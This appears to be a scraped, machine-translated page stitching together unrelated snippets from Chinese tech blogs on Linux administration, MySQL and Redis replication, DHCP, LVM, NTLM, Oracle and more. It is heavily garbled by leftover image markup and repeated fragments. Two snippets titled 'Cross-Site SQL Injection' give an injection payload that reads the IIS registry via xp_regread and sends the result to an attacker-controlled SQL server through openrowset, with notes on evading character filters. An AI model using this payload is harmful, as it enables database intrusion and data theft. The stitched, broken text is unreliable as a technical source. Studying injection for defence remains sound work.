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Linux Common Command Combat practice

1. Display all files or directories with L, ending with a lowercase letter, and with at least one digit in the middle of the/var directoryls-d/var/l*[0-9]*[[:lower:]) or ls-d/var/l*[[:d igit:]]*[[:lower:]]650) this.width=650; "src=" Http://s4.51cto.com/wyfs02/M01/85/4C/wKioL1efUmSDwMy5AAANCgN7T5c410.png "title=" r8l " 1e62_cj6un5a9{7{[yn.png "alt=" Wkiol1efumsdwmy5aaancgn7t5c410.png "/>2. display files or directories that start with any digit in the/e

MySQL Master-slave replication

Tags: mysql master and slave replicationFirst, the test environment:Rhel1 ———— Master ———— 192.168.10.1 ———— the user and password for slave synchronization are slaveRhel2 ———— slave ———— 192.168.10.2 ———— synchronize all databases on masterSecond, install MySQL on rhel1 and Rhel2 respectively;Third, Rhel1 (that is, master) configuration:1. Modify the master configuration file vim/etc/my.cnf:650) this.width=650; "src=" http://s3.51cto.com/wyfs02/M01/4C

Aggregated data iOS SDK National Vehicle violation Demo example

1. Add the Aggregation Data SDK (Juheapis.framework) to your program, and the packages that the SDK relies on include:650) this.width=650; "Src=" http://yspe2371e4aa7697989.yunshipei.cn/ Dhlwzt1mdyzzaxplptcymczzcmm9yuhsmgndvxpru1v5umlvevjtbhraetvpykc5bkxttnparzr1ym1wmepuskdnakf4tkrfd01ea3hnreeytkrrm05qvwxnm Fozwvhsbgntmwhjbxnstwtzeupuskdkr1y0zenvevjtrklvakjqukc5mlresktjmkl5wtnwwk0wnxjzbwsxzfzwwvvywlznamw1wwpot1ddvxlsbvp2ym5rbe 1rwtfzvfpntlv3evzdvxlsbvp2ym5semfycgxkvephtkrbd0puskdabwxzyknvevjra3d

RPM Package Installation lamp and HTTPD virtual machine SSL Implementation

Simply list the basic commands and share only my thoughts!Objective: Through RPM Package installs LAMP, provides two virtual hosts, one for WordPress, one for PhpMyAdmin, and provides SSL access for the latter one . The environment is VMware virtual machine CentOS6.6, real machine win7, the later test will use win7 above the browser, has put the virtual machine The names of the two httpd virtual machines in CentOS are added to the hosts file of the Win7 . 1, modify the Yum source, point to the

WebLogic Downtime crash problem solving sharing

00007f9c704b4f600x00007f9c704b4f48:00007f9f93b5ec8d 00007f9c704b4f900x00007f9c704b4f58:00007f9f8c037cb0 00007f9c704b4f800x00007f9c704b4f68:00007f9f93aca246 00007f9f941686300x00007f9c704b4f78:00007f9f8c016b20 00007f9c704b4fb00x00007f9c704b4f88:00007f9f93b5d646 00007f9f941694f00x00007f9c704b4f98:00000007733e6780 00007f9f8c0388d00x00007f9c704b4fa8:0000000000000000 00007f9c704b4fc00x00007f9c704b4fb8:00007f9f93b51124 00007f9c704b50400x00007f9c704b4fc8:00007f9f93a69eee 00007f9c704b4ff00X00007F9C704B4

Solution for tiptop 4gl image file to display a negative number but a positive number

Tags: tiptop 4gl easy extension ERP source code Finance Recently, I encountered a very strange problem in normal use, that is, when a negative number is entered in the amount field of aglt110, it is displayed as a positive number. After a long time, I checked the source code again, modify the screen file and view system parameters, 650) This. width = 650; "src =" http://s3.51cto.com/wyfs02/M00/4C/80/wKioL1Q_FcuAONLNAAHIPNLskh4236.jpg "Title =" home.jp

VMware Hybrid Cloud 6.0 Test build 1.1 install AD Domain Server

1.1 Installing the AD Domain serverFirst configure the underlying environment as followsConfigure the computer named: AD, Memory to 512MB, turn off the firewall.Configure IP Address parameters: 192.168.0.120/24 gw:192.168.0.1 dns:192.168.0.120. Finally, restart AD.Select Add Roles feature: Follow the prompts to click Next650) this.width=650; "title=" image "style=" border-right-width:0px;background-image:none;border-bottom-width:0px; padding-top:0px;padding-left:0px;padding-right:0px;border-top-

How Linux systems recover root Password summary

/wKiom1gtGT2g5Hu5AAAZd0GYwJk120.png-wh_500x0-wm_3 -wmp_4-s_944117056.png "style=" Float:none; "title=" 4.png "alt=" Wkiom1gtgt2g5hu5aaazd0gywjk120.png-wh_50 "/>4, that is, enter the single user mode, enter passwd root to change the root password650) this.width=650; "Src=" Http://s4.51cto.com/wyfs02/M02/8A/4C/wKioL1gtGVCj4h0AAAAc4tKmnmo857.png-wh_500x0-wm_3 -wmp_4-s_3033196659.png "title=" 5.png "alt=" Wkiol1gtgvcj4h0aaaac4tkmnmo857.png-wh_50 "/>Exampl

(iv) Redis master-slave replication

, then the saved RDB file is sent to multiple slave servers. If a network outage occurs during the synchronization process, the 2.8 version will not be processed again after the previous version, but instead will be synchronized incrementally. Why is there Master_runid and offset from the server ? Because this information is staged before the server disconnects from the primary server, it is also intended for subsequent data synchronization needs. Environment description Follow the previo

High performance tcp/udp/http communication framework Hp-socket v4.1.2

, etc.) based on realistic scenarios such as different capacity requirements, communication scale and resource status, and optimize resource allocation to meet application needs without wasting resources.   (project homepage: Click here: click Here) v4.1.2 Update * * *> WebSocket support:----------------- Add WebSocket method for all HTTP components1) sendwsmessage (): Send WebSocket packet2) getwsmessagestate (): Gets the current WebSocket status All HTTP component listeners

WebLogic Downtime crash problem solving sharing

00007f9c704b4f600x00007f9c704b4f48:00007f9f93b5ec8d 00007f9c704b4f900x00007f9c704b4f58:00007f9f8c037cb0 00007f9c704b4f800x00007f9c704b4f68:00007f9f93aca246 00007f9f941686300x00007f9c704b4f78:00007f9f8c016b20 00007f9c704b4fb00x00007f9c704b4f88:00007f9f93b5d646 00007f9f941694f00x00007f9c704b4f98:00000007733e6780 00007f9f8c0388d00x00007f9c704b4fa8:0000000000000000 00007f9c704b4fc00x00007f9c704b4fb8:00007f9f93b51124 00007f9c704b50400x00007f9c704b4fc8:00007f9f93a69eee 00007f9c704b4ff00X00007F9C704B4

DHCP server setup under Linux

First, the experimental environment:RHEL1--DHCP Server--ip:192.168.1.20/24client--xp--Get IP between 192.168.1.20-192.168.1.100Second, the specific configuration steps:(1.) Service side:1. Install the DHCP server-side software:650) this.width=650; "src=" http://s3.51cto.com/wyfs02/M01/4C/A4/wKioL1RCgCnCTBzNAAEgbDCNOQQ048.jpg "title=" ff.jpg "alt=" Wkiol1rcgcnctbznaaegbdcnoqq048.jpg "/>Umount/dev/cdromMount/dev/cdrom/mntVim/etc/yum.repos/aaa.repo650) t

Management of logical volumes under Linux

Logical Volume Management: A piece of disk or disks on a host are combined in a logical sense into a disk to be managed. LVM is a logical layer added to the disk and file system.Basic terminology:Physical storage media: refers to physical storage devices: such as SDA1, sda2Physical volumes: Not just physical storage devices, they also include parameters for logical volumes.Volume group: Consists of one or more physical volumes.PE: Each physical volume is divided into a basic unit called PE. is t

Assassin's Creed Mutiny minimum configuration How many Assassin's Creed renegade PC configuration how much

The Assassin's Creed Mutiny will land on the PC platform on March 24, and the minimum configuration requirements have been given to the authorities. Configuration requirements: Operating system: Windows 7 SP1 or Windows 8/8.1 (64-bit)CPU: Intel dual-core Q6600@2.4ghz or AMD Fast Dragon II X4 620@2.6ghzRam:2gbGraphics card: NVIDIA GeForce GTS450 or AMD Radeon HD5670 (1G video memory) or Intel HD4600DirectX version: DirectX June 2010Hard disk: 11.4 GBSound card: DirectX compatible sound cardSu

Android 19th issue-SQLite offline storage teaches you to write Millet Notepad

This period said SQLite offline storage, the recent app to add offline file download function, oneself is also made a day, finally is small have the result, want to thank the strong support of the wife, help me test what, are hard-work, now can this to me such a good person only wife. Share code to everyone, look at some of the Notepad is very practical, so also reckoned to get a, UI design it, the function realized everything is to say. Start here:First, SQLite can go to the official website ht

Ntlm authentication mechanism learning notes

.0010: 00 E3 07 28 40 00 80 06 39 dc ac 11 01 BC D3 41 ...... (@... 9 ......0020: 38 02 04 12 05 99 B9 29 99 AF A4 7F 32 25 50 18 8 ......) ...... 2% P.0030: fa cb 47 2D 00 00 10 01 00 BB 00 00 01 00 B3 00 ...... G -............0040: 00 00 01 00 00 71 00 00 00 00 00 07 C8 04 ...... q ..........0050: 00 00 00 00 00 E0 83 00 00 20 fe ff 04 08 ...............0060: 00 00 56 00 00 00 00 00 00 00 00 00 56 00 ...... V.0070: 09 00 68 00 0B 00 00 00 00 7E 00 04 00 86 00 ...... h .............0080: 00 00

Adding notnull fields to Oracle11g is faster than 10g-New Features

) object_id,Dbms_rowid.rowid_relative_fno (rowid) file_id,Dbms_rowid.rowid_block_number (rowid) block_id,Dbms_rowid.rowid_row_number (rowid) numFrom test where rownum Alter system dump datafile 5 block 1465683;10 GB:Tl: 9 fb: -- H ----- lb: 0x2 cc: 0Nrid: 0x0181e36b. 1Tab 0, row 2, @ 0x1b3aTl: 1076 fb: -- H-FL -- lb: 0x2 cc: 14Col 0: [3] 53 59 53Col 1: [4] 43 4f 4e 24Col 2: * NULL *Col 3: [2] c1 1dCol 4: [2] c1 1dCol 5: [5] 54 41 42 4c 45Col 6: [7] 78

Cross-Site SQL Injection

field named cha8. Then: A. asp? Id = 1; DECLARE @ result varchar (255) exec master. dbo. xp_regread HKEY_LOCAL_MACHINE, SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots,/, @ result output insert into laokai (cha8) values (SELECT. * from openrowset (SQLOLEDB, your IP address; sa; password, SELECT * FROM pubs. dbo. authors where au_fname = + @ result +) AS );-- Error .. The error message is blocked .. What should I do? After research, it is found that some characters inside, such as the pl

Cross-Site SQL Injection database attacks

HKEY_LOCAL_MACHINE, SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots,/, @ result output insert into laokai (cha8) values (SELECT. * from openrowset (SQLOLEDB, your IP address; sa; password, SELECT * FROM pubs. dbo. authors where au_fname = + @ result +) AS );--  An error occurred... the error message is blocked... what should I do? After research, we found that some characters in the "+" system, for example, must be converted to hexadecimal notation. Maybe there are other places to conve

Epoll for I/O multiplexing

, so they have the same function.The LT (level triggered) is the epoll default and supports both block and No-block sockets. In this way, the kernel tells you if a file descriptor is ready, and then you can do an IO operation on the Ready FD. If you do not do anything, the kernel will continue to notify you, so this mode of programming error is less likely. Traditional Select/poll are the representatives of this model.The LT Mode code is as follows:650) this.width=650; "src=" http://s3.51cto.com

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